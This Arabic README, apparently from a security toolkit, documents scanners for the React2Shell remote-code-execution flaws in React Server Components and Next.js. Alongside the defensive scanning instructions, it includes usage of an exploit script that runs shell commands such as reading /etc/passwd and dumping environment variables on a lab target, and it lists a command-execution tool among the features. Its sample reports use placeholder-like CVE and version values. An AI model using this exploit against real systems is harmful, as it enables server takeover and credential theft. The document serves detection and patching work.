
ماسح ضوئي لـ CVE-2025-55182 (React) و CVE-2025-66478 (Next.js) - تتبّع ومعالجة حملة ثغرات حرجة في React Server Components (RSC) / بروتوكول Flight تؤثر على react-server-dom-webpack و react-server-dom-parcel و react-server-dom-turbopack والأطر المبنية على RSC مثل Next.js.
ثغرة خارجية لصنف أخطاء React2Shell: ثغرتان تم الكشف عنهما حديثًا لتنفيذ التعليمات البرمجية عن بُعد دون مصادقة في بروتوكول "Flight" لمكونات خادم React (RSC)—CVE-2025-55182 (React) وCVE-2025-66478 (Next.js)، وكلتاهما بتقييم CVSS 10.0. تكمن هذه المشكلات في كيفية قيام نقاط نهاية RSC/دوال الخادم بفك ترميز حمولات Flight التي يتحكم فيها المهاجم، مما يحول طلب HTTP واحدًا مصاغًا بعناية إلى تنفيذ محتمل للتعليمات البرمجية على جانب الخادم—حتى على مجموعات React/Next.js الحديثة "الافتراضية" التي تستخدم App Router والإصدارات الإنتاجية. بالنسبة للعديد من الفرق، هذه لحظة "صحّح الآن، تحقق من التعرض، ثم دقّق"، وليست شيئًا يؤجل إلى سباق لاحق لنظافة التبعيات. يحتوي مجلد LAB على استغلالات وثغرات مخبرية لـ React2Shell
يوفر هذا المشروع نهجًا مزدوجًا: (1) فحص تركيب البرمجيات / مخاطر التبعيات (هذه الأداة)، لتحديد موقع المكتبات والإصدارات المعرضة للخطر بسرعة، و(2) ماسح ويب DAST (ماسح ويب React2Shell) يستكشف بنشاط نقاط نهاية RSC/Flight من الخارج، للتحقق مما إذا كانت المسارات القابلة للاستغلال قابلة للوصول في البيئات قيد التشغيل. معًا، تساعدانك في الإجابة على كل من "أين توجد المكونات المعرضة للخطر؟" و**"أين يمكن استغلالها فعليًا في الإنتاج؟"** حتى تتمكن من تحديد أولويات التصحيح والتقوية والاستجابة للحوادث بثقة.
لـ الاختبار المباشر لنقاط النهاية والتحقق من RCE، راجع ماسح الويب المخصص:
📁 web-scan_CVE-2025-66478/ - التوثيق الكامل والدليل
cd web-scan_CVE-2025-66478
# Install dependencies
pip install -r requirements.txt
# Scan a single target
python3 react2shell-scanner -u https://target.com -v
# Scan with evidence display
python3 react2shell-scanner -u https://target.com --show-evidence
# Batch scan with all export formats
python3 react2shell-scanner -l targets.txt -o results.json --csv results.csv --html report.html
# Test the exploit on vulnerable target (requires Python 3.11+)
python3.11 test-lab/exploit.py -u http://vulnerable-host:3000 -c "hostname"
cd web-scan_CVE-2025-66478/test-lab/lab
# Start vulnerable (3011) and patched (3012) instances
docker-compose up -d
# Test vulnerable instance
python3 react2shell-scanner -u http://localhost:3011 --show-evidence
cd web-scan_CVE-2025-66478/test-lab
# Install exploit dependencies
pip3.11 install -r requirements.txt
# Basic command execution
python3.11 exploit.py -u http://localhost:3011 -c "whoami"
# Output: nextjs
python3.11 exploit.py -u http://localhost:3011 -c "id"
# Output: uid=1001(nextjs) gid=65533(nogroup)
python3.11 exploit.py -u http://localhost:3011 -c "hostname"
# Output: 99e28775bf80 (container ID)
# System enumeration
python3.11 exploit.py -u http://localhost:3011 -c "uname -a"
python3.11 exploit.py -u http://localhost:3011 -c "cat /etc/passwd"
python3.11 exploit.py -u http://localhost:3011 -c "env"
# Application recon
python3.11 exploit.py -u http://localhost:3011 -c "pwd" # /app
python3.11 exploit.py -u http://localhost:3011 -c "ls -la"
python3.11 exploit.py -u http://localhost:3011 -c "cat package.json"
python3.11 exploit.py -u http://localhost:3011 -c "node --version"
React2Shell هي بدائية تنفيذ تعليمات برمجية عن بُعد دون مصادقة ضد معالجة حمولات مكونات خادم React (RSC) في بروتوكول Flight. عمليًا، هذا يعني أن عميلًا خبيثًا يمكنه إرسال طلب HTTP واحد مصاغ بعناية إلى نقطة نهاية RSC/دالة خادم، وإذا كانت نسخة معرضة للخطر قيد الاستخدام، فمن المحتمل أن يحوّل "تطبيق ويب" إلى "قشرة خادم".
على مستوى عالٍ:
نظرًا لأن هذه ثغرة RCE دون مصادقة، فإن الإعدادات الافتراضية للإنتاج ضمن النطاق—حتى لو لم تكتب أبدًا "دالة خادم" بشكل صريح واعتمدت ببساطة أنماط React/Next.js الحديثة. لا ينبغي التعامل مع التخفيفات على مستوى الاستضافة وجدران الحماية العامة (WAFs) كشبكة أمان أساسية: فقد تقلل من التعرض، لكنها لن تعوض بشكل موثوق عن المكتبات المعرضة للخطر. تعامل مع هذا كحادثة:
بمجرد أن يحقق المهاجم RCE عبر React2Shell، يجب على المدافعين افتراض سلسلة قتل مألوفة:
.env، وأسرار النشر، ورموز CI، وبيانات اعتماد الخدمات، ومفاتيح التوقيع.إذا تعامل خط أنابيب DevSecOps لديك تاريخيًا مع طبقة الويب على أنها "مجرد واجهة أمامية"، فإن هذه الثغرة تمثل دليلًا ملموسًا على أن أطر الواجهات الأمامية يمكن أن تحمل نطاق انفجار عميقًا على جانب الخادم عندما تكون دلالات RSC والتدفق (streaming) متورطة. إن أداة Universal Vulnerability Scanner موجودة لمساعدتك في الإجابة بسرعة على "هل نشغّل الحزم المعرضة للخطر في أي مكان؟" وتغذية تلك الإجابة في الحملات التي تقودها Phoenix، وقريبًا، في التحقق التكميلي عبر ماسح الويب DAST لنقاط نهاية RSC المباشرة.
# Install dependencies
pip install -r requirements.txt
# Run from project root
python -m universal_vulnerability_scanner.main --help
# Basic scan
python -m universal_vulnerability_scanner.main scan /path/to/project
# With JSON output
python -m universal_vulnerability_scanner.main scan /path/to/project --json --output results.json
# Quiet mode (only show summary)
python -m universal_vulnerability_scanner.main scan /path/to/project --quiet
# Create Phoenix configuration template
python -m universal_vulnerability_scanner.main create-config
# Edit .phoenix.config with your credentials
# Then scan and upload
python -m universal_vulnerability_scanner.main scan /path/to/project --upload-phoenix
# Test with included vulnerable samples
python -m universal_vulnerability_scanner.main test
يستخدم الماسح قاعدة بيانات ثغرات قائمة على JSON تقع في:
universal_vulnerability_scanner/data/vulnerability_database.json
{
"metadata": {
"version": "1.0.0",
"last_update": "2025-12-04",
"ecosystems": ["npm"]
},
"vulnerabilities": {
"npm": {
"package-name": {
"exact_versions": ["1.0.0", "1.0.1"],
"vulnerable_ranges": [
{"min": "1.0.0", "max": "1.0.2", "severity": "CRITICAL"}
],
"safe_versions": ["1.0.2+"],
"cve_ids": ["CVE-2025-XXXX"],
"description": "Vulnerability description",
"references": ["https://..."]
}
}
}
}
أنشئ .phoenix.config:
[phoenix]
client_id = your_client_id_here
client_secret = your_client_secret_here
api_base_url = https://api.securityphoenix.cloud
assessment_name = Universal Vulnerability Scanner - RSC Detection
import_type = new
أو استخدم متغيرات البيئة:
export PHOENIX_CLIENT_ID="your_client_id"
export PHOENIX_CLIENT_SECRET="your_client_secret"
export PHOENIX_API_URL="https://api.securityphoenix.cloud"
================================================================================
UNIVERSAL VULNERABILITY SCANNER REPORT
================================================================================
Scan completed: 2025-12-04 10:30:00
SUMMARY:
----------------------------------------
Total findings: 12
VULNERABLE: 3
SAFE: 2
CLEAN: 5
REVIEW: 2
🚨 VULNERABLE PACKAGES DETECTED
================================================================================
1. [email protected]
File: /path/to/project/package.json
Reason: Exact match with known vulnerable version 19.0.0
✅ Safe version: 18.99.99
CVE: CVE-2025-RSC-001
[
{
"path": "/path/to/project/package.json",
"kind": "package.json",
"package": "react-server-dom-webpack",
"version": "19.0.0",
"verdict": "VULNERABLE",
"reason": "Exact match with known vulnerable version 19.0.0",
"severity": "CRITICAL",
"vulnerable_versions": ["19.0.0", "19.1.0", "19.1.1", "19.2.0"],
"safe_version": "18.99.99",
"cve_ids": ["CVE-2025-RSC-001"],
"timestamp": "2025-12-04T10:30:00"
}
]
يتضمن الماسح عينات اختبار شاملة في test_samples/:
شغّل الاختبارات:
python -m universal_vulnerability_scanner.main test
universal_vulnerability_scanner/
├── core/
│ └── version_parser.py # Semver parsing & comparison
├── models/
│ ├── finding.py # Finding data model
│ └── vulnerability.py # Vulnerability database model
├── scanners/
│ ├── base_scanner.py # Abstract scanner interface
│ └── npm_scanner.py # NPM ecosystem scanner
├── integrations/
│ └── phoenix_uploader.py # Phoenix API client
├── data/
│ └── vulnerability_database.json # Vulnerability definitions
├── test_samples/ # Test cases
└── main.py # CLI entry point
scanners/ يرث من BaseScannerمثال:
from .base_scanner import BaseScanner
class PyPIScanner(BaseScanner):
def _get_ecosystem(self) -> str:
return "pypi"
def scan_path(self, root: Path) -> List[Finding]:
# Implement PyPI scanning logic
pass
عدّل data/vulnerability_database.json:
{
"npm": {
"new-vulnerable-package": {
"exact_versions": ["1.0.0"],
"vulnerable_ranges": [{"min": "1.0.0", "max": "1.0.5", "severity": "HIGH"}],
"safe_versions": ["1.0.5+"],
"cve_ids": ["CVE-2025-XXXX"],
"description": "Vulnerability description"
}
}
}
0 - فحص ناجح، لم يتم العثور على ثغرات1 - فحص ناجح، تم العثور على ثغرات2 - فشل الفحص (إدخال غير صالح، خطأ في قاعدة البيانات، إلخ.)يرفع النتائج تلقائيًا إلى Phoenix مع:
# Example GitHub Actions
- name: Vulnerability Scan
run: |
python -m universal_vulnerability_scanner.main scan . --json --output scan-results.json
- name: Upload to Phoenix
if: always()
run: |
python -m universal_vulnerability_scanner.main scan . --upload-phoenix
react/rsc_exposure_scanner.pyenhanced_npm_compromise_detector_phoenix.pyجزء من مجموعة أدوات Shai Halud الأمنية.
🔍 ابقَ آمنًا! أبلغ عن الثغرات بمسؤولية.
| الميزة | الوصف |
|---|
| 🔍 كشف RCE | كشف آمن قائم على العمليات الحسابية (بدون آثار جانبية) |
| 🎯 بصمة التقنية | اكتشاف تلقائي لتطبيقات Next.js/React |
| 📊 تصدير متعدد التنسيقات | تقارير JSON وCSV وHTML |
| 🔗 ربط IOC | مطابقة مع أكثر من 31 عنوان IP خبيث معروف |
| 🌐 الفحص على نطاق واسع | نطاقات CIDR، تعداد النطاقات الفرعية |
| ☁️ تكامل Phoenix | رفع النتائج إلى Phoenix Security |
| 💻 أداة الاستغلال | تنفيذ الأوامر على الأهداف المعرضة للخطر |
| حالة الاختبار | الوصف | النتائج المتوقعة |
|---|
rsc_vulnerable_exact/ | إصدارات معرضة للخطر مطابقة تمامًا | 4 VULNERABLE |
rsc_vulnerable_range/ | نطاقات الإصدارات | 4 VULNERABLE |
rsc_safe_versions/ | إصدارات آمنة مصححة | 6 SAFE |
rsc_mixed/ | مزيج من معرضة للخطر/آمنة/نظيفة | 2 VULNERABLE, 1 SAFE, 4 CLEAN |
rsc_with_lockfile/ | تحليل ملفات القفل | 2 VULNERABLE, 1 CLEAN |